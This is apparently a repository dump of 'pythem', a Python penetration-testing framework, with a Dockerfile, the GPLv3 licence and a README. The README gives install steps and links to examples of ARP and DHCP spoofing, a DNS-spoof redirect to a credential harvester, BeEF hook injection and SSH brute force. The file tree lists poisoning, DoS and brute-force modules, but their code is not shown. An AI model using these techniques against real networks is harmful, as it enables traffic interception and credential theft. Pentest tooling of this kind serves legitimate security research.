├── Dockerfile
├── LICENSE
├── README.md
├── img
├── desktopicon-wiki.png
├── pythem.gif
├── pythembg.png
├── pythemico.png
└── run_sample-wiki.png
├── pythem
├── __init__.py
├── core
│ ├── __init__.py
│ └── interface.py
├── modules
│ ├── __init__.py
│ ├── arpoisoner.py
│ ├── completer.py
│ ├── dhcpoisoner.py
│ ├── dnspoisoner.py
│ ├── dos.py
│ ├── fuzzer.py
│ ├── hashcracker.py
│ ├── pforensic.py
│ ├── redirect.py
│ ├── scanner.py
│ ├── sniffer.py
│ ├── ssh_bruter.py
│ ├── utils.py
│ ├── web_bruter.py
│ ├── webcrawler.py
│ └── xploit.py
├── pythem
└── tests
│ └── test_module_imports.py
└── setup.py
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:2.7
2 |
3 | WORKDIR /usr/src/app
4 |
5 | COPY . .
6 |
7 | RUN apt-get update
8 |
9 | RUN apt-get install -y build-essential python-dev tcpdump python-capstone libnetfilter-queue-dev libffi-dev libssl-dev
10 |
11 | RUN python setup.py sdist
12 |
13 | RUN pip install dist/*
14 |
15 | CMD [ "pythem" ]
16 |
17 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 | {one line to give the program's name and a brief idea of what it does.}
635 | Copyright (C) {year} {name of author}
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | {project} Copyright (C) {year} {fullname}
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # pythem - Penetration Testing Framework
2 |
3 | 
4 | 
5 | 
6 | 
7 | 
8 | [](https://blockchain.info/address/1Eggia3JXwWiR4mkVqztionNUfs2N3ghAd)
9 |
10 | pythem is a multi-purpose pentest framework written in Python. It has been developed to be used by security researchers and security professionals. The tool intended to be used only for acts within the law. I am not liable for any undue and unlawful act practiced by this tool, for more information, read the license.
11 |
12 |
13 | 
14 |
15 | [](https://github.com/m4n3dw0lf/pythem/wiki)
16 |
17 | ## Installation
18 |
19 | > Links:
20 |
21 | - [Create a Desktop Shortcut](https://github.com/m4n3dw0lf/pythem/wiki/Installation#create-a-desktop-shortcut)
22 |
23 | 
24 |
25 | ### Linux Installation
26 |
27 | #### Dependencies Installation
28 |
29 | > **NOTE:** Tested only with Debian-based distros, feel free to try the dependencies installation with **yum** or **zypper** if you use Redhat-like or SUSE-like.
30 |
31 | ```
32 | sudo apt-get update
33 | sudo apt-get install -y build-essential python-dev python-pip tcpdump python-capstone \
34 | libnetfilter-queue-dev libffi-dev libssl-dev
35 | ```
36 |
37 | #### Installation
38 |
39 | - With **pip**:
40 |
41 | ```
42 | sudo pip install pythem
43 | ```
44 |
45 | - With **source**:
46 |
47 | ```
48 | git clone https://github.com/m4n3dw0lf/pythem
49 | cd pythem
50 | sudo python setup.py install
51 | ```
52 |
53 | - With **source** and **pip**:
54 | ```
55 | git clone https://github.com/m4n3dw0lf/pythem
56 | cd pythem
57 | sudo python setup.py sdist
58 | sudo pip install dist/*
59 | ```
60 |
61 | #### Running
62 |
63 | - Call on a terminal (Requires **root** privileges):
64 |
65 | ```
66 | $ sudo pythem
67 | ```
68 |
69 |
70 |
71 | ### Running as Docker container
72 |
73 | - Requires Docker
74 |
75 | ```
76 | docker run -it --net=host --rm --name pythem m4n3dw0lf/pythem
77 | ```
78 |
79 |
80 |
81 | ## Usage
82 |
83 | 
84 |
85 | ### Examples
86 |
87 | - [ARP spoofing - Man-in-the-middle](https://github.com/m4n3dw0lf/pythem/wiki/Examples#arp-spoofing---man-in-the-middle).
88 | - [ARP+DNS spoof - fake page redirect to credential harvester](https://github.com/m4n3dw0lf/pythem/wiki/Examples#arpdns-spoof---fake-page-redirect-to-credential-harvester)
89 | - [DHCP ACK Injection spoofing - Man-in-the-middle](https://github.com/m4n3dw0lf/pythem/wiki/Examples#man-in-the-middle-dhcp-spoofing---dhcp-ack-injection)
90 | - [Man-in-the-middle inject BeEF hook](https://github.com/m4n3dw0lf/pythem/wiki/Examples#inject-beef-hook)
91 | - [SSH Brute-Force attack](https://github.com/m4n3dw0lf/pythem/wiki/Examples#ssh-brute-force-attack).
92 | - [Web page formulary brute-force](https://github.com/m4n3dw0lf/pythem/wiki/Examples#web-page-formulary-brute-force)
93 | - [URL content buster](https://github.com/m4n3dw0lf/pythem/wiki/Examples#url-content-buster)
94 | - [Overthrow the DNS of LAN range/IP address](https://github.com/m4n3dw0lf/pythem/wiki/Examples#overthrow-the-dns-of-lan-rangeip-address)
95 | - [Redirect all possible DNS queries to host](https://github.com/m4n3dw0lf/pythem/wiki/Examples#redirect-all-possible-dns-queries-to-host)
96 | - [Get Shellcode from binary](https://github.com/m4n3dw0lf/pythem/wiki/Examples#get-shellcode-from-binary)
